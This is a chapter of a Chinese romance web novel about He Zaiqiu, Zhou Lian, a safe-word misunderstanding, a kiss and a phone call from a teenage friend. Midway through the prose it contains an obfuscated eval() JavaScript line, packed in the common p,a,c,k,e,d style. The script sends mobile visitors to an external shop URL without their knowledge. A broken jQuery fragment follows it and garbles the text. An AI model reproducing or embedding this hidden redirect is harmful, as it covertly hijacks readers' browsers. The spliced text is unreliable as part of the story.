文趣网 > 都市小说 > 多数幻觉 > 36. 第 36 章
    何载秋一时被周敛问住了,没意识到不对,还热心肠地给他解释:“安全词就是如果碰上你不想做的事情,你就说安全词,我就知道你的意思了,不会再强迫你。”

    周敛似懂非懂地点点头:“原来安全词是这个意思。”

    何载秋把主动权交给他:“你想一个?”

    周敛:“姐姐。”

    何载秋应下:“怎么了?”

    “不是在叫你。”周敛拿过她手上的蓝莓糖葫芦,“安全词是姐姐。”

    “哦哦。”何载秋盯着他手上的糖葫芦,“可以,以后要是在床上也可以……”

    等等……

    为什么她会说在床上?

    就好像安全词就应该和床上联系在一起,她顺口就说出来了,一点儿违和感都没有。

    安全词,窒息,强制,中止。

    冷静下来后,何载秋的脑子被这几个词语占据,她终于回忆起这几个字的搭配场景和小说名称前大写的H。

    何载秋恍然大悟。

    何载秋呆若木鸡。

    何载秋觉得自己全身上下的血液都凝结到了脸颊,火辣辣的和被铁板烤了一样疼。

    何载秋机械地转身,想装作若无其事地逃跑。周敛从她将视线从手上的糖葫芦移开就发现了不对劲,再看到她脸上的红晕,猜出她大概回了神。

    他抓住她的手。

    “干什么去?”

    “我……我回去睡觉。”何载秋支支吾吾,打了一个夸张至极的哈欠,“哎呀,不知道为什么突然特别困,可能是晕碳了吧哈哈。”

    “十二点了。”周敛自顾自坐下,一手拽着她,一手拿起蓝莓糖葫芦吃了一半,剩下的半串塞她手上,“今晚可以在书房休息,你的床我没动。”

    何载秋接过糖葫芦。

    蓝莓小小一颗,三颗连在一起也不过小拇指长度。何载秋舍不得一口吃完,用牙齿叼着一颗颗品鉴。

    不回答,吃完了再偷偷遛走。

    周敛直勾勾看着她,默默拉着她往前,直至他的膝盖碰到她的小腿。

    “不想和我睡吗?”

    何载秋脑子里的颜色废料本来就没有清干净,听到此话,周敛手拿皮鞭半跪在地的形象Duang地浮现眼前,赶都赶不走。

    脸比手上的糖衣还要红十分。

    黏糊的糖块糊住了嗓子,引得何载秋大声咳嗽起来。嘴里还咬着糖葫芦,串糖葫芦的竹签一个用力往口腔右侧扎去,血珠顿时往外冒

    何载秋丢掉竹签前还不忘把最后一个蓝莓咬下来,再捂着嘴喊痛。

    “张嘴。”

    周敛抬起她的下巴看她的出血点,伤口不深。

    “别动。”

    周敛松开她,从茶几的抽屉里拿出一个小医药箱,取了棉签按在出血的位置。

    痛感过去,何载秋觉得这种小伤口根本不需要止血。血流到嘴里也被她吞下去了,自产自销。

    周敛给她按了半分钟,何载秋待不住了。嘴巴要一直张着,口水都要流到周敛手上。

    “好了好了,没流血了。”何载秋扭着头不让他碰。

    “我看看。”

    周敛拿出棉签,另一只手依旧捏着她的下巴。

    何载秋又说了一遍:“真的没流血了。”

    口腔里的异物消失,何载秋的舌头兴奋地凑到伤口处舔舐,像条狡猾的小蛇在周敛面前炫耀自己的灵动。

    周敛的手不自觉用力。

    何载秋浑然不知他胶着在自己身上的眼神,脑子里想的是刚才最后两颗蓝莓吃得不爽快,都是铁锈味儿,等会儿要再吃一串补偿。

    她问周敛:“你还想再吃一串蓝莓糖葫芦不?”

    周敛故弄玄虚:“我现在想吃点别的。”

    何载秋眨眨眼,原地立正,嘿嘿笑:“草莓糖葫芦我也不是不能接受。特别好的周敛,我让你吃大草莓,我吃小草莓。”

    周敛轻笑,左手划过她的脸颊,钻进她被毛绒帽子包裹的头发里。指尖点在她的耳朵尖,弹琴似的轻轻波动。

    何载秋仿佛被通电似的,前胸后背顿时泛起阵阵痒意。

    “四舍五入,也算是草莓。”

    周敛弯腰,额头抵着她的帽檐。

    他的声音向来好听,既有青少年的清脆,又有成年人的沉稳。此刻两人近到不能再近,他的声音宛如海上勾人性命的美人鱼,令人无心也情不自禁沉沦。

    “可以请你亲我吗,小何?”

    -

    李不凡对于何载秋昨晚没和她一起睡的事情耿耿于怀到坐上飞机,整个上午都在短信轰炸何载秋。

    【凡凡不烦才怪:我现在怀疑你每晚都悄悄溜过去陪他】

    【凡凡不烦才怪:你都不知道我早上醒来发现自己独守空床有多么伤心】

    【凡凡不烦才怪:[宝宝心里苦但是宝宝不说][撇嘴]】

    【凡凡不烦才怪:有些人惯会使些狐媚手段呵呵呵呵呵呵呵】

    【凡凡不烦才怪:美人心计都用上了呵呵呵呵呵呵】

    何载秋赶紧解释。

    【H:我昨天打算过去拿画纸和颜料,太晚了怕吵醒你就没回去了,不是因为他】

    好吧,也有一小点点原因因为他。

    亲完了何载秋嘴巴有点肿,不好意思让李不凡看到。

    【凡凡不烦才怪:这是他说的话吧】

    【H:你咋知道?】

    【凡凡不烦才怪:大学那年发地震都没把我吵醒,我要是入睡了,雷公电母在我耳边吵架我都不抬眼皮】

    【H:好像是的】

    【H:冰糖葫芦你吃了不,下次再来再让他做】

    【凡凡不烦才怪:一般般吧,还算能入口】

    【凡凡不烦才怪:问你个问题】

    【H:你问】

    【凡凡不烦才怪:我和他同时掉进水里,你先救谁?】

    【H:打110,120,119】

    【凡凡不烦才怪:……】

    【凡凡不烦才怪:我和他同时上救护车担架,你跟谁的救护车?】

    何载秋想了想,手指微动打出回复。

    【H:借两颗二舅妈的膨胀螺丝和方管,在你们救护车中间做一个折叠床,我也躺上去】

    【H:又通风又不晕车,好极了】

    【凡凡不烦才怪:满分答案】

    -

    自从周敛把自己的电话号码告诉陈川,他每天都要打电话,周敛第一次接了,听他说了满箩筐的废话,再没接过第二次,任由电话铃声没完没了地响。

    这天何载秋正上着班,突然接到物业打来的电话,说有人投诉她家噪音过大,吵到楼上准备艺考的中学生了。

    人家练琴练了一个多月,两天就被何载秋家的广场舞音乐给带跑偏了。

    物业话说得委婉:“何女士,家里有跳广场舞的老人可以理解,能不能和老人沟通沟通,走两步去公园练,或者把音响的声音调小点,我们已经收到好几户业主投诉了,说你们家从早吵到晚。”

    何载秋想一定是物业搞错了,她家没有老人。但是电话里说不清楚,只能先答应,等回去再看。

    今天下班得早,路过花店,看到门口摆的水仙白嫩得紧,何载秋买了两盆,抱着走回家。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540119|202734||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    还没走到家门口,远远听到一阵高亢而又毫无音质可言的月亮之上,和并不算美妙的钢琴声。

    琴声是楼上的,歌声是楼下的。

    树下推着婴儿车散步的爷爷奶奶对着她家窗户指指点点。

    “谁家啊这是,天天就放这首歌,也不知道换一首。”

    “可不嘛,我家三岁的小孙孙背了一个星期的锄禾日当午,汗滴禾下土,今早突然就变成了仰望日当午,月亮禾下土。”

    “那家住着谁呀,大把年纪了没点素质。”

    “谁知道呢,也没见人出来过。”

    何载秋低头快步离开指认现场。

    回到家里,何载秋把水仙放在玄关鞋柜,一边换鞋一边大声叫周敛。

    “你的手机响了好久了,你不接嘛?”

    回答她的只有抽油烟机轰隆隆的声响。手机在餐桌嗡嗡震动,何载秋扫了眼屏幕。

    光秃秃的号码,没有写联系人名字。

    她拿着手机拉开厨房紧闭的玻璃门,凑到周敛身边大喊。

    “有人给你打电话了!”

    周敛在做拔丝地瓜,正是火候要紧的关键时候。他知道是谁打来的电话,对何载秋说:“你替我接,我没空。”

    “好。”

    桌上摆着一盘已经做好的红烧肉,何载秋拿了一块扔进嘴里,按了接听键。

    “喂。”

    “你真是好狠的心不接我的电话,你还把我当好哥们儿吗?!周敛!说话!”

    陈川看到电话接了劈头盖脸就是一顿,没仔细听电话那头清晰的女音。

    “是……是吗?”何载秋被问蒙了。

    何载秋声音很小,陈川以为周敛又在敷衍他。

    “怎么了?”陈川在电话那头冷哼,“连你小爷我都认不出来了,别在这儿给我装,快点告诉我你在哪儿,我离家出走去找你去,你放心,现在你是家里的叛逆一号,我是叛逆二号!小爷不给你添麻烦!”

    “不好意思,我不是周敛。”何载秋说,“请问你是?”

    电话那头静了三秒,然后是一声石破天惊的怒吼。

    “我去,你是嫂子是不是?”陈川掐着嗓子大声诉苦,“嫂子,我是周敛异父异母的亲弟弟啊嫂子,嫂子你们现在在哪儿嫂子?我给你们拜年去嫂子!嫂子我放寒假了我真的没地方去,我都要抑郁了嫂子!”

    何载秋只感觉有一万只鹦鹉趴在她耳边大叫。

    陈川声音尖细稚嫩,介于小学生和初中生中间最难听的临界点,又总是一口一个小爷挂在嘴边。

    听得越久,对于他年龄和学历的猜测越往下降。

    何载秋问:“你多大了呀,成年了吗?一个人离家出走不安全哦。”

    陈川差点在电话那头落下泪。多少年没人关心他的安全了,都是拳头砸上来再说。

    陈川扭扭捏捏地回:“我十八了嫂子,我这个年纪离家出走很安全,不用你们接送,我可以自己开车来。”

    何载秋:“……”

    就不应该离家出走啊喂。

    “嫂子,你们地址是哪里?我现在就买飞机票,你有什么爱吃的不,我给你们带。”

    何载秋劝他:“今天太赶了,你缓两天也可以。”

    “不用。”陈川恨不得立马长翅膀,“明天我爸妈回来了我就走不了了,就得现在。嫂子,你把地址发我,我争取我们今晚就团圆!”

    好燃,但是不知道在燃什么。

    何载秋把地址发过去不到十分钟,收到了陈川发来的机票截图。

    【嫂子,我十点的飞机,你让我周哥千万别费心做饭,我一点也不饿,^-^】